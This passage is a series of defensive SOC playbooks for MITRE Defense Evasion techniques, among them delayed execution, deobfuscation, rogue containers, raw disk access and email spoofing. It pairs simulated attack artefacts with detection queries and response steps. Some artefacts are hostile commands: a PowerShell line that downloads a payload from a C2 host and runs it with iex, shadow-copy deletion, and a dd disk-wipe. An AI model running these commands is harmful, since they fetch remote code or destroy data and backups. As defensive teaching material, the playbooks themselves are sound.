- Code paths activated only after long delays
- EDR alerts referencing anti-debugging or anti-analysis

Example use case scenario (end-to-end)

Context: SOC detonates a suspicious executable in a sandbox. The sample exits immediately and shows no malicious behaviour. When executed on an endpoint, the same binary performs process injection and C2 communication. Telemetry reveals anti-debug checks and timing-based evasion.

Attacker objective: Avoid analysis and signature creation by detecting debugging environments.

Defender objective: Identify debugger evasion techniques and correlate behaviour across environments.

What it looks like (simulated SOC artefacts)

A) Debugger Detection API Calls

API=IsDebuggerPresent

Result=False

API=CheckRemoteDebuggerPresent

Target=CurrentProcess

B) Timing-Based Evasion

Sleep(600000)

RDTS delta mismatch detected

C) Exception-Based Detection

INT 3

Unhandled exception caught internally

D) Process and Tool Enumeration

EnumeratedProcesses=ollydbg.exe,x64dbg.exe,procmon.exe

Action=ExitProcess

E) Self-Termination Under Analysis

DebuggerDetected=True

Action=TerminateProcess

F) Delayed Execution

Execution delayed 30 minutes

Payload activated after user interaction

Severity decision (SOC)

Low

- Anti-debug checks present, no malicious execution
- Research or protection software

Medium

- Debugger evasion combined with suspicious logic
- Payload suppressed under analysis

High / Critical

- Malware actively evading sandbox and EDR
- Different behaviour in live environment
- Used to protect high-impact payloads

Example severity: High

(Anti-debug + delayed payload + process injection)

Step-by-step SOC workflow

Step 1 Validate debugger evasion behaviour

Confirm:

1. Which anti-debug techniques are present?
2. Does behaviour change under analysis?
3. Are evasive checks preceding malicious actions?
4. Is this behaviour expected for the application?

Decision point

- Legitimate anti-tamper software → document and monitor
- Malicious evasion → continue investigation immediately

Step 2 Identify evasion vector and scope

Evasion method	Evidence	Attacker value
API checks	IsDebuggerPresent	Analysis avoidance
Timing checks	Sleep, RDTSC	Sandbox evasion
Exception tricks	INT3 abuse	Debugger crash
Tool detection	Process enumeration	Analyst detection
Delayed execution	Time/user gates	Signature evasion

Step 3 Map behaviour to attacker intent

3A) Analysis Resistance

Indicators

- Immediate exit in sandbox
- Suppressed payload

Attacker intent

- Prevent reverse engineering

3B) Detection Evasion

Indicators

- No malicious indicators during detonation

Attacker intent

- Avoid IOC generation

3C) Payload Protection

Indicators

- Evasion precedes injection or C2

Attacker intent

- Protect high-value malware

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Process Injection
 - Memory tampering post-delay
2. Command and Control
 - Late-stage network activity
3. Persistence
 - Activation after reboot or idle
4. Impact
 - Ransomware or data theft after evasion

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Isolate affected host
2. Capture full memory image

3. Preserve binary and execution context

If evasion confirmed

1. Block execution across environment
2. Add behavioural detections (not signatures only)
3. Coordinate deeper reverse engineering
4. Monitor for delayed execution triggers

Eradication and recovery

- Remove evasive malware from all endpoints
- Reimage systems if integrity is uncertain
- Update EDR rules to detect anti-debug patterns
- Validate no delayed payloads remain
- Monitor for re-emergence after time thresholds

Detection engineering (SIEM ideas)

A) Anti-debug API usage

```
index=edr  
| where api_call IN ("IsDebuggerPresent","CheckRemoteDebuggerPresent")
```

B) Timing evasion detection

```
index=edr  
| where action="Sleep"  
| where duration > 300000
```

C) Sandbox vs live behaviour mismatch

```
index=edr  
| where behaviour_diff=true
```

Analyst checklist

- Debugger evasion confirmed
- Behavioural differences documented
- Payload execution identified
- Host isolated and cleaned
- Detection logic improved

Post-incident improvements

- Treat debugger evasion as Tier-0 analysis evasion
- Correlate sandbox and endpoint telemetry
- Detect long sleeps and timing abuse
- Flag binaries that behave differently under inspection
- Include anti-debug malware in SOC training exercises

BY IZMER IZUDDIN

Playbook 90 (MITRE Defense Evasion): Delay Execution

Technique: Delay Execution

Purpose

Detect, investigate and respond to attacker techniques that intentionally delay malicious execution, enabling attackers to:

- Evade sandbox and automated detonation environments
- Bypass time-limited EDR and SOC analysis windows
- Avoid correlation with initial infection vectors
- Blend execution into normal user or system activity
- Activate payloads only when conditions are “safe”

Delay Execution is a classic but extremely effective defense-evasion technique because most automated detection systems assume immediate or near-immediate malicious behaviour.

When to trigger this playbook

Trigger this playbook when indicators suggest malicious behaviour activated only after time or condition delays, including:

- Executables that appear benign during initial analysis
- Long sleep, wait or idle periods before activity
- Malicious actions occurring minutes or hours after execution
- Behaviour triggered only after reboot, logon or user interaction
- Sandbox verdicts that differ from endpoint behaviour
- Malware activating outside typical SOC investigation windows

Example use case scenario (end-to-end)

Context: SOC detonates a suspicious document in a sandbox. The file opens, sleeps for several minutes and exits cleanly. On a real endpoint, after 30 minutes of user activity, the same payload injects into explorer.exe and initiates C2.

Attacker objective: Outwait automated analysis and execute only in real user environments.

Defender objective: Correlate delayed execution behaviour and detect malicious actions beyond initial execution.

What it looks like (simulated SOC artefacts)

A) Long Sleep Invocation

Sleep(1800000)

B) Time-Based Conditional Execution

CurrentTime > 02:00 AND Uptime > 45min
ExecutePayload()

C) Delayed PowerShell Execution

powershell.exe -command "Start-Sleep -Seconds 1200 Invoke-WebRequest
http://c2/payload.ps1 | iex"

D) Delayed Task Trigger

Task created at 10:00
First execution at 11:30

E) Idle or User Interaction Trigger

WaitForUserInput()
MouseMoveDetected=True

F) Reboot-Dependent Execution

If SystemBootCount > 1
RunPayload()

Severity decision (SOC)

Low

- Delay used by legitimate installers or software
- No malicious follow-on behaviour

Medium

- Delay combined with suspicious code
- Malicious intent unclear

High / Critical

- Delay clearly used to evade detection
- Payload executes with injection, C2 or persistence

- Sandbox vs endpoint behaviour mismatch

Example severity: High

(Long sleep + delayed process injection + C2)

Step-by-step SOC workflow

Step 1 Validate delay behaviour

Confirm:

1. What type of delay is used (sleep, timer, condition)?
2. Is the delay unusually long or context-aware?
3. Does behaviour change after the delay expires?
4. Is this delay expected for the application?

Decision point

- Legitimate software behaviour → document and monitor
- Evasive delay → continue investigation immediately

Step 2 Identify delay technique and scope

Delay method	Evidence	Attacker value
Sleep timers	Long sleep calls	Sandbox evasion
Time checks	Clock, uptime logic	Analysis bypass
User interaction	Mouse/keyboard checks	Real-user detection
Reboot dependency	Boot count logic	Persistence evasion
Scheduled delay	Deferred execution	SOC timing evasion

Step 3 Map behaviour to attacker intent

3A) Sandbox Evasion

Indicators

- No malicious activity during detonation

Attacker intent

- Avoid automated detection

3B) Analyst Fatigue

Indicators

- Activity starts after investigation window

Attacker intent

- Execute when monitoring attention drops

3C) Environmental Validation

Indicators

- Execution only on real endpoints

Attacker intent

- Ensure payload reliability

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Process Injection
 - Activity after delay expiry
2. Command and Control
 - Late-stage network connections
3. Persistence
 - Activation after reboot or idle
4. Impact
 - Ransomware, data theft after delay

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Isolate affected host
2. Suspend suspicious long-running processes
3. Block known C2 destinations

If delay abuse confirmed

1. Terminate delayed execution processes
2. Remove delayed tasks or scripts
3. Preserve execution timeline for forensics
4. Monitor environment for similar delayed triggers

Eradication and recovery

- Remove malicious binaries and scripts
- Reimage system if execution context is unclear
- Update detection rules for long-sleep behaviour
- Validate no delayed payloads remain pending
- Monitor endpoints beyond initial execution windows

Detection engineering (SIEM ideas)

A) Long sleep detection

```
index=edr  
| where action="Sleep"  
| where duration > 600000
```

B) Delayed PowerShell execution

```
index=windows  
| where process="powershell.exe"  
| where command_line LIKE "%Start-Sleep%"
```

C) Behaviour after long idle

```
index=edr  
| where execution_delay > 30m
```

Analyst checklist

- Delay technique identified
- Execution timeline reconstructed

- Follow-on actions detected
- Host contained and cleaned
- Detection rules updated

Post-incident improvements

- Treat delayed execution as Tier-0 defense evasion
- Extend sandbox execution windows where possible
- Correlate behaviour across time, not just process start
- Monitor long-running but idle processes
- Include delayed-payload malware in SOC training

Playbook 91 (MITRE Defense Evasion): Deobfuscate / Decode Files or Information

Technique: Deobfuscate / Decode Files or Information

Purpose

Detect, investigate and respond to attacker actions that decode or deobfuscate previously hidden data at runtime, enabling attackers to:

- Evade static analysis and signature-based detection
- Hide payloads, scripts or configuration on disk
- Reveal malicious logic only at execution time
- Bypass content inspection and sandboxing
- Keep C2 addresses, credentials and commands concealed

This technique is execution-stage evasion: nothing looks malicious until the moment it is decoded.

When to trigger this playbook

Trigger this playbook when indicators suggest **runtime decoding or deobfuscation**, including:

- Encoded blobs decoded in memory just before execution
- Use of Base64, XOR, AES, RC4, gzip or custom encodings
- PowerShell, JavaScript, Python or .NET decoding routines
- Encrypted configuration files accessed by malware
- Network traffic decoded locally before use
- EDR alerts referencing “decode”, “decrypt” or “unpack” behaviour

Example use case scenario (end-to-end)

Context: SOC reviews a PowerShell command that appears benign and heavily encoded. Static analysis shows only Base64 strings. At runtime, the script decodes and decrypts a second-stage payload, injects it into memory and initiates C2.

Attacker objective: Hide malicious logic until the last possible moment to evade detection.

Defender objective: Detect decoding behaviour, capture decoded artefacts and stop execution before impact.

What it looks like (simulated SOC artefacts)

A) PowerShell Base64 Decode

```
powershell.exe -enc SQBFAFgA...  
[System.Text.Encoding]::Unicode.GetString(  
[System.Convert]::FromBase64String($data)  
)
```

B) XOR Deobfuscation

```
for i in range(len(data)):  
    decoded[i] = data[i] ^ 0x23
```

C) AES Decryption at Runtime

```
CryptoStream(AES, Key, IV)  
Decrypt(payload.bin)
```

D) Gzip / Zlib Unpacking

```
gzip.decompress(blob)
```

E) JavaScript Eval After Decode

```
eval(atob(encodedPayload))
```

F) Configuration Decoded In-Memory

```
C2=decode("0x3a2f7b...")
```

Severity decision (SOC)

Low

- Decoding used by legitimate applications
- No malicious follow-on behaviour

Medium

- Obfuscation plus suspicious logic
- Payload intent unclear

High / Critical

- Decoding immediately followed by injection, C2 or persistence
- Malware fully concealed until runtime

- Sandbox evasion confirmed

Example severity: High

(Base64 + AES decode → in-memory execution)

Step-by-step SOC workflow

Step 1 Validate deobfuscation behaviour

Confirm:

1. What encoding or encryption is used?
2. Is decoding performed just before execution?
3. Does decoded content contain executable logic?
4. Is this behaviour expected for the application?

Decision point

- Legitimate unpacking → document and monitor
- Malicious decoding → continue investigation immediately

Step 2 Identify decoding method and scope

Method	Evidence	Attacker value
Base64	Encoded strings	Hide scripts
XOR/custom	Simple loops	Signature evasion
AES/RC4	Encrypted blobs	Configuration secrecy
Compression	gzip/zlib	Reduce visibility
Multi-layer	Decode → decrypt → exec	Maximum evasion

Step 3 Map behaviour to attacker intent

3A) Static Detection Evasion

Indicators

- No readable payload on disk

Attacker intent

- Avoid signature scanning

3B) Sandbox Evasion

Indicators

- Decode occurs late or conditionally

Attacker intent

- Avoid automated analysis

3C) Payload Protection

Indicators

- Encrypted configs, keys, URLs

Attacker intent

- Protect infrastructure and tooling

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Process Injection
 - Decoded payload injected into memory
2. Command and Control
 - Decoded URLs, keys or protocols
3. Persistence
 - Decoded scripts written to disk
4. Impact
 - Ransomware or data theft post-decode

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Terminate decoding process
2. Isolate affected host
3. Capture memory to preserve decoded content

If malicious decoding confirmed

1. Block hashes of decoder and decoded payload
2. Remove encoded artefacts from disk
3. Preserve decoded output for IOC creation
4. Monitor environment for similar decoding patterns

Eradication and recovery

- Remove malicious scripts and binaries
- Reimage host if decoded payload executed
- Update EDR rules for decode–execute chains
- Validate no encoded artefacts remain
- Monitor for reappearance of decoding routines

Detection engineering (SIEM ideas)

A) Decode → execute sequence

```
index=edr  
| transaction process_id maxspan=30s  
| where actions IN ("Base64Decode","Decrypt","Eval","Execute")
```

B) Encoded PowerShell usage

```
index=windows  
| where process="powershell.exe"  
| where command_line LIKE "%-enc%"
```

C) Runtime decryption APIs

```
index=edr  
| where api_call IN ("CryptDecrypt","AES_decrypt","RC4")
```

Analyst checklist

- Decoding behaviour confirmed
- Decoded artefacts captured
- Follow-on execution identified
- Host contained and cleaned
- Detection logic updated

Post-incident improvements

- Treat runtime decoding as Tier-0 defense evasion
- Detect decode–execute chains, not just encoded content

- Capture memory aggressively for suspicious scripts
- Flag multi-layer obfuscation automatically
- Include deobfuscation scenarios in SOC training

BY IZMER IZUDDIN

Playbook 92 (MITRE Defense Evasion): Deploy Container

Technique: Deploy Container

Purpose

Detect, investigate and respond to adversaries evading defenses by deploying malicious containers inside compromised environments, enabling attackers to:

- Hide malicious activity inside legitimate container workflows
- Bypass traditional endpoint controls focused on host processes
- Run attacker tooling in isolated, ephemeral environments
- Abuse trusted container runtimes (Docker, containerd, CRI-O)
- Blend malicious execution into DevOps, cloud or platform operations

Deploy Container is defense evasion through abstraction attackers shift execution into containers where visibility, logging and controls are often weaker or misconfigured.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious container deployment, including:

- Containers deployed outside normal CI/CD pipelines
- Unknown or unapproved images running in production
- Containers executing security, network or admin tooling
- Container workloads created shortly after initial compromise
- Limited or no corresponding application change records

Example use case scenario (end-to-end)

Context: SOC detects outbound C2 traffic from a Kubernetes node, but no host process matches the activity. Cluster telemetry reveals a new container running an image pulled from a public registry, executing a reverse shell.

Attacker objective: Evade host-based detection by moving malicious execution into a container.

Defender objective: Stop malicious container workloads and restore platform trust.

What it looks like (simulated SOC artefacts)

A) Suspicious Container Deployment

Runtime=Docker
Image=attacker/tools:latest
ContainerName=sys-update
User=root

B) Image Pulled from External Registry

Registry=docker.io
Repo=attacker/tools
PullTime=03:12

C) Privileged Container Execution

SecurityContext=privileged:true
Capabilities=SYS_ADMIN, NET_ADMIN

D) Host Resource Access

Mount=/var/run/docker.sock
MountType=HostPath

E) Network Activity from Container

Source=Container
Destination=198.51.100.44:443
Protocol=HTTPS

F) Follow-on Activity

NextAction=CommandAndControl

Severity decision (SOC)

Medium

- Suspicious container deployed but no confirmed malicious behaviour

High

- Malicious tooling running inside container

Critical

- Privileged container, host mounts or cluster-wide access

- Container used for C2, lateral movement or persistence

Example severity: High

(Stealth execution via container abstraction)

Step-by-step SOC workflow

Step 1 Validate malicious container deployment

Confirm:

1. Was a new container or pod deployed?
2. Is the image unapproved, unknown or externally sourced?
3. Does the container perform non-application behaviour?
4. Is execution hidden from host-based controls?

Decision point

- Legitimate DevOps activity → validate pipeline and ownership
- Malicious container → escalate immediately

Step 2 Identify attacker container abuse pattern

Abuse Pattern	Indicator	Attacker value
Rogue container	Unknown image	Stealth
Privileged container	--privileged	Host control
HostPath mounts	Docker socket	Escalation
Ephemeral workloads	Short-lived pods	Forensic evasion
Tooling containers	Scanners, shells	Flexibility

Step 3 Map behaviour to attacker intent

3A) Execution Obfuscation

Indicators

- No malicious host processes

Attacker intent

- Evade EDR and AV

3B) Platform Trust Abuse

Indicators

- Use of trusted runtimes

Attacker intent

- Blend into normal operations

3C) Infrastructure Expansion

Indicators

- Privileged containers or cluster access

Attacker intent

- Broaden control surface

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Beacons from containers
2. Privilege Escalation
 - Docker socket abuse, host escape
3. Lateral Movement
 - Node-to-node or namespace movement
4. Persistence
 - Restart policies, cron jobs in containers

Decision point

- Follow-on detected → escalate to Major / Executive IR

Containment actions

Immediate

1. Stop and remove malicious containers
2. Block image pulls from malicious registries
3. Isolate affected nodes if privileged containers ran

If container abuse confirmed

1. Preserve container images, manifests and runtime logs
2. Identify how container deployment permissions were obtained
3. Notify SOC leadership, Cloud and Platform teams
4. Assume **platform-level compromise risk**

Eradication and recovery

- Delete malicious images from registries and nodes
- Rotate cluster, node and service account credentials
- Patch container runtime and orchestrator if abused
- Enforce image allowlists and admission controls
- Rebuild nodes if host access occurred

Detection engineering (SIEM ideas)

A) New container or pod creation

index=cloud OR index=container
| where action IN ("create_container","create_pod","run_container")

B) Privileged container detection

index=container
| where privileged=true OR capabilities IN ("SYS_ADMIN","NET_ADMIN")

C) External image registry usage

index=container
| where image_registry NOT IN ("approved_registry_1","approved_registry_2")

Analyst checklist

- Malicious container deployment confirmed
- Image source identified
- Containers removed and nodes assessed
- Follow-on activity investigated
- Incident severity adjusted

Post-incident improvements

- Treat container deployment as an execution vector
- Enforce strict image allowlists and admission policies
- Monitor runtime behaviour, not just image origin
- Disable privileged containers by default

- Correlate container deploy → runtime behaviour → network activity

BY IZMER IZUDDIN

Playbook 93 (MITRE Defense Evasion): Direct Volume Access

Technique: Direct Volume Access

Purpose

Detect, investigate and respond to attacker access to raw disk volumes or block devices, enabling attackers to:

- Bypass file-system-level security controls
- Read or modify data without triggering file access logs
- Tamper with system files, security logs or forensic artefacts
- Access credentials, databases or sensitive data offline
- Evade EDR and antivirus that monitor file APIs only
- Prepare for destructive impact (e.g. disk wiping, ransomware)

Direct volume access is low-level evasion: the attacker interacts below the file system, where many controls are blind.

When to trigger this playbook

Trigger this playbook when indicators suggest raw disk or volume manipulation, including:

- Access to `/dev/sd*`, `/dev/nvme*`, `/dev/mapper/*` or `\\.\PhysicalDrive*`
- Use of disk utilities outside maintenance windows
- Volume snapshots or mounts created unexpectedly
- Processes reading NTFS, EXT or APFS structures directly
- Security logs missing or corrupted without normal deletion events
- EDR alerts referencing raw disk, sector or block-level access

Example use case scenario (end-to-end)

Context: SOC detects missing Windows event logs and corrupted registry hives. No file deletion events are logged. EDR telemetry reveals a process accessing `\\.\PhysicalDrive0` directly and modifying disk sectors.

Attacker objective: Bypass OS-level auditing to hide activity and destroy forensic evidence.

Defender objective: Identify raw disk access, contain the host and preserve remaining evidence.

What it looks like (simulated SOC artefacts)

A) Windows Raw Disk Access

process=malware.exe
target=\\.\PhysicalDrive0
access=ReadWrite

B) Linux Block Device Access

process=dd
command=dd if=/dev/sda of=/tmp/dump.img
user=root

C) Volume Shadow Copy Manipulation

vssadmin delete shadows /all /quiet

D) Direct NTFS Parsing

process=custom_tool
action=Read_MFT
volume=C:

E) Disk Sector Overwrite

dd if=/dev/zero of=/dev/nvme0n1 bs=512 count=2048

F) Offline Registry or Database Access

MountedVolume=/mnt/disk
File=SYSTEM.hive

Severity decision (SOC)

Low

- Approved maintenance or backup activity
- Matches change window and tooling

Medium

- Undocumented raw disk access
- No confirmed malicious modification

High / Critical

- Raw disk access used to hide activity or destroy data
- Log tampering or credential access confirmed
- Ransomware or destructive impact possible

Example severity: Critical

(Direct disk access + log destruction + privilege abuse)

Step-by-step SOC workflow

Step 1 Validate volume access legitimacy

Confirm:

1. Which volume or device was accessed?
2. Which process and account performed the access?
3. Is this access expected and approved?
4. Were security or system files targeted?

Decision point

- Legitimate admin or backup activity → document and monitor
- Unauthorised or suspicious access → continue investigation immediately

Step 2 Identify access method and scope

Method	Evidence	Attacker value
Physical drive access	\\.\PhysicalDrive*	Bypass OS controls
Block device read/write	/dev/sd*, /dev/nvme*	Stealth data access
Volume shadow abuse	VSS deletion	Anti-forensics
Offline parsing	Mounted volumes	Credential theft
Sector overwrite	dd, raw writes	Destructive impact

Step 3 Map behaviour to attacker intent

3A) Defense Evasion / Anti-Forensics

Indicators

- Logs missing without delete events
- Direct disk writes

Attacker intent

- Erase evidence of compromise

3B) Credential and Data Access

Indicators

- Offline registry, database or filesystem parsing

Attacker intent

- Steal secrets without detection

3C) Impact Preparation

Indicators

- Sector overwrites or mass reads

Attacker intent

- Enable ransomware or data destruction

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Offline SAM, SYSTEM, NTDS, keychains
2. Impact
 - Disk wiping, ransomware encryption
3. Persistence
 - Boot sector or firmware tampering
4. Defense Evasion
 - Additional log or artefact destruction

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Isolate affected host immediately
2. Stop processes performing raw disk access
3. Prevent further write operations to volumes

If abuse confirmed

1. Capture disk images for forensic preservation
2. Preserve remaining logs and memory
3. Revoke credentials used for access
4. Notify IR and legal teams if data integrity is impacted

Eradication and recovery

- Rebuild system from trusted images
- Restore data from clean backups
- Validate integrity of system files and logs
- Reset credentials potentially accessed offline
- Monitor for reappearance of raw disk access

Detection engineering (SIEM ideas)

A) Raw disk access on Windows

index=edr
| where target LIKE "\\.\PhysicalDrive%"

B) Block device access on Linux

index=linux
| where file_path LIKE "/dev/%"
| where process NOT IN ("mount","backup-agent")

C) VSS deletion detection

index=windows
| where process="vssadmin.exe"
| where command_line LIKE "%delete shadows%"

Analyst checklist

- Raw volume access confirmed
- Scope of data/log impact assessed
- Host isolated and preserved
- Recovery plan executed
- Monitoring strengthened

Post-incident improvements

- Treat direct volume access as Tier-0 defense evasion
- Alert on non-backup raw disk access
- Harden EDR visibility into block-level operations
- Restrict disk utilities to approved roles
- Include raw-disk abuse scenarios in SOC simulations

BY IZMER IZUDDIN

Playbook 94 (MITRE Defense Evasion): Domain or Tenant Policy Modification

Technique: Domain or Tenant Policy Modification

Sub-techniques:

- Group Policy Modification
- Trust Modification

Purpose

Detect, investigate and respond to adversaries evading security controls by modifying domain-wide or tenant-wide policies, enabling attackers to:

- Disable or weaken security tooling at scale
- Suppress logging, monitoring or alerting centrally
- Bypass identity, endpoint or network protections without touching endpoints
- Blend malicious changes into “legitimate admin activity”
- Maintain stealthy, long-term access across the enterprise

Domain or Tenant Policy Modification in Defense Evasion is control-plane evasion attackers don't hide malware they turn off the alarms and guards.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious policy or trust changes that reduce visibility or enforcement, including:

- GPOs disabling AV, EDR, logging or hardening controls
- Tenant policies weakening MFA, Conditional Access or audit logging
- Trust relationships modified to bypass security boundaries
- Security controls disabled across many systems simultaneously
- Defense degradation without corresponding incident or change approval

Example use case scenario (end-to-end)

Context: SOC notices endpoint telemetry volume drops sharply across hundreds of workstations. No outages are reported. AD logs reveal a GPO modification disabling Windows Defender and event logging.

Attacker objective: Evade detection enterprise-wide before executing ransomware.

Defender objective: Restore defensive controls and regain visibility.

What it looks like (simulated SOC artefacts)

A) Group Policy Modification – Security Disabled

GPO=Endpoint-Hardening
Setting=Windows Defender
State=Disabled
ModifiedBy=svc-admin

B) Logging Suppression

Policy=Audit Policy
Setting=Logon Events
State=Disabled
Scope=Domain-wide

C) Cloud Tenant Policy Weakening

Tenant=AzureAD
Policy=Conditional Access
MFA=Excluded All Users

D) Trust Modification for Evasion

Trust=corp.local ↔ legacy.local
Direction=Two-Way
SelectiveAuth=Disabled

E) Visibility Loss Indicator

EndpointTelemetryDrop=78%
TimeWindow=10 minutes

F) Follow-on Activity

NextAction=Execution

Severity decision (SOC)

High

- Security policy weakened in limited scope

Critical

- Domain-wide or tenant-wide defensive controls disabled

- Logging, AV or MFA disabled at scale

Example severity: Critical

(Enterprise defense suppression)

Step-by-step SOC workflow

Step 1 Validate defense-evasion policy modification

Confirm:

1. Were security-relevant policies modified?
2. Did changes reduce detection, logging or prevention?
3. Was the change unauthorised or suspicious?
4. Did visibility or enforcement drop immediately after?

Decision point

- Approved security change → validate scope and rollback plan
- Malicious policy change → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Evasion impact
Group Policy modification	AV/logging disabled	Endpoint blind spots
Trust modification	Expanded trust paths	Boundary bypass
IAM policy weakening	MFA exclusions	Identity evasion
Audit suppression	Logging disabled	Forensic gaps

Step 3 Map behaviour to attacker intent

3A) Detection Suppression

Indicators

- Logging or EDR disabled centrally

Attacker intent

- Operate invisibly

3B) Security Boundary Bypass

Indicators

- Trust or federation changes

Attacker intent

- Move freely across environments

3C) Pre-Attack Preparation

Indicators

- Defense changes before execution

Attacker intent

- Prepare for high-impact actions

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution
 - Malware, scripts, ransomware deployment
2. Privilege Escalation
 - Group membership or role abuse
3. Lateral Movement
 - SMB, RDP, cloud API usage
4. Impact
 - Data encryption, exfiltration, sabotage

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Revert unauthorised policy and trust changes
2. Re-enable logging, AV and MFA
3. Freeze further policy modifications

If defense-evasion policy abuse confirmed

1. Preserve AD, IAM and tenant audit logs

2. Identify compromised admin or service accounts
3. Notify SOC leadership, IAM, IT Ops and Executives
4. Assume enterprise-level compromise risk

Eradication and recovery

- Restore policies from known-good baselines
- Rotate credentials for all policy-modifying accounts
- Revalidate security posture across endpoints and cloud
- Enable tamper protection and policy change alerts
- Conduct retroactive threat hunting during blind window

Detection engineering (SIEM ideas)

A) Security-related GPO changes

```
index=ad  
| where gpo_setting IN ("Defender","Audit","Firewall")
```

B) Cloud IAM policy weakening

```
index=cloud  
| where action IN ("modify_conditional_access","disable_logging")
```

C) Sudden telemetry drop correlation

```
index=edr  
| stats count by _time  
| where count < baseline
```

Analyst checklist

- Defense-evasion policy change confirmed
- Policies restored and locked down
- Credentials rotated
- Visibility gap assessed
- Incident escalated appropriately

Post-incident improvements

- Treat policy modification as a defense-evasion signal, not admin noise
- Enable real-time alerts on security-impacting policy changes
- Enforce just-in-time and approval-based policy modification
- Protect Tier-0 assets and policy objects

- Correlate policy change → visibility drop → attacker activity

BY IZMER IZUDDIN

Playbook 95 (MITRE Defense Evasion): Email Spoofing

Technique: Email Spoofing

Purpose

Detect, investigate and respond to adversaries evading defenses by spoofing email identities, headers or domains, enabling attackers to:

- Bypass email authentication controls (SPF, DKIM, DMARC)
- Masquerade as trusted internal or external senders
- Evade user suspicion and security awareness controls
- Deliver phishing, malware or social engineering payloads
- Blend malicious emails into normal business communication

Email Spoofing is defense evasion through identity deception attackers don't bypass email security systems directly they convince them (and users) that malicious emails are legitimate.

When to trigger this playbook

Trigger this playbook when indicators suggest forged or deceptive email origin, including:

- Emails claiming to be from trusted domains but failing or bypassing authentication
- Mismatch between From, Return-Path and Sender headers
- Emails impersonating executives, IT, vendors or partners
- Successful phishing emails despite email gateway protections
- User-reported emails that appear "legitimate" but trigger suspicion

Example use case scenario (end-to-end)

Context: Several employees receive an email appearing to be from the CFO requesting an urgent wire transfer. The email bypasses spam filtering and looks authentic. Header analysis reveals the message originated from an external IP and abused a misconfigured DMARC policy.

Attacker objective: Evade email defenses and impersonate a trusted authority to execute fraud.

Defender objective: Identify spoofing techniques, block future attempts and protect users.

What it looks like (simulated SOC artefacts)

A) Spoofed Sender Identity

From: CFO@company.com
Sender: alerts@external-domain.com
Reply-To: finance@external-domain.com

B) Authentication Weakness

SPF=Neutral
DKIM=None
DMARC=Policy=none

C) Header Mismatch

Return-Path: bounce@external-domain.com
From: HR@company.com

D) Visual Deception

DisplayName=IT Support <it-support@company.com>
ActualDomain=company-support.co

E) Delivery Outcome

EmailGateway=Delivered
SpamScore=Low

F) Follow-on Activity

NextAction=Phishing

Severity decision (SOC)

Medium

- Spoofing attempt detected but blocked or reported early

High

- Spoofed email delivered to users

Critical

- Successful business email compromise (BEC), fraud or credential theft

Example severity: High

(Defense evasion enabling phishing)

Step-by-step SOC workflow

Step 1 Validate email spoofing

Confirm:

1. Is the sender impersonating a trusted identity?
2. Do email headers show authentication weaknesses or mismatches?
3. Did the message bypass email security controls?
4. Was user trust explicitly exploited?

Decision point

- Legitimate email with misconfiguration → remediate configuration
- Malicious spoofing → escalate immediately

Step 2 Identify spoofing technique

Technique	Indicator	Attacker value
Domain spoofing	DMARC/SPF gaps	Trust abuse
Display name spoofing	Lookalike names	User deception
Reply-to spoofing	Redirected responses	Data capture
Lookalike domains	Typosquatting	Persistence
Header manipulation	Inconsistent headers	Gateway evasion

Step 3 Map behaviour to attacker intent

3A) User Trust Exploitation

Indicators

- Authority impersonation (CEO, IT, Finance)

Attacker intent

- Induce compliance

3B) Gateway Evasion

Indicators

- Email passes authentication checks due to weak policies

Attacker intent

- Avoid technical blocking

3C) Precursor to Impact

Indicators

- Spoofing followed by BEC, malware or credential harvest

Attacker intent

- Financial theft or access gain

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Phishing
 - Credential harvesting links or attachments
2. Credential Access
 - Account compromise following email interaction
3. Impact
 - Fraud, wire transfer, data exfiltration
4. Lateral Movement
 - Internal spoofing using compromised accounts

Decision point

- Follow-on detected → escalate to Major / Executive IR

Containment actions

Immediate

1. Quarantine or retract spoofed emails
2. Block sending domains and IPs
3. Warn targeted users and reset exposed credentials

If spoofing confirmed

1. Preserve full email headers and message bodies

2. Identify authentication gaps exploited
3. Notify SOC leadership, Email Admins and Management
4. Assume phishing or fraud campaign risk

Eradication and recovery

- Enforce strict DMARC (p=reject)
- Correct SPF and DKIM configurations
- Implement external sender tagging
- Harden email gateway impersonation detection
- Conduct user awareness follow-up

Detection engineering (SIEM ideas)

A) Header mismatch detection

```
index=email  
| where from_domain != return_path_domain
```

B) DMARC policy weakness monitoring

```
index=email  
| where dmarc_policy IN ("none","quarantine")
```

C) Executive impersonation detection

```
index=email  
| where display_name IN ("CEO","CFO","IT Support")  
| where sender_domain NOT LIKE "%company.com"
```

Analyst checklist

- Email spoofing confirmed
- Headers analysed and gaps identified
- Emails removed and users warned
- Configurations hardened
- Incident severity reassessed

Post-incident improvements

- Treat email identity as a critical security boundary
- Enforce DMARC reject across all domains
- Monitor lookalike domain registrations
- Correlate spoofed email → user action → account or financial impact

- Regularly test email security controls

BY IZMER IZUDDIN

Playbook 96 (MITRE Defense Evasion): Execution Guardrails

Technique: Execution Guardrails

Sub-techniques:

- Environmental Keying
- Mutual Exclusion

Purpose

Detect, investigate and respond to adversaries evading defenses by restricting when, where and how their malware executes, enabling attackers to:

- Prevent execution in sandboxes, labs or analyst environments
- Avoid detonating in unintended targets
- Reduce exposure to automated analysis
- Ensure payloads run only under attacker-defined conditions
- Minimise forensic artefacts and detection opportunities

Execution Guardrails are defense evasion through conditional execution malware is present but refuses to run unless the environment “looks right.”

When to trigger this playbook

Trigger this playbook when indicators suggest malware present but selectively inactive, including:

- Malware samples that execute on some systems but not others
- Suspicious binaries exiting immediately without errors
- Conditional logic checking hostnames, users, domains or hardware
- Single-instance enforcement preventing re-execution
- Malware behaving differently in sandbox vs production environments

Example use case scenario (end-to-end)

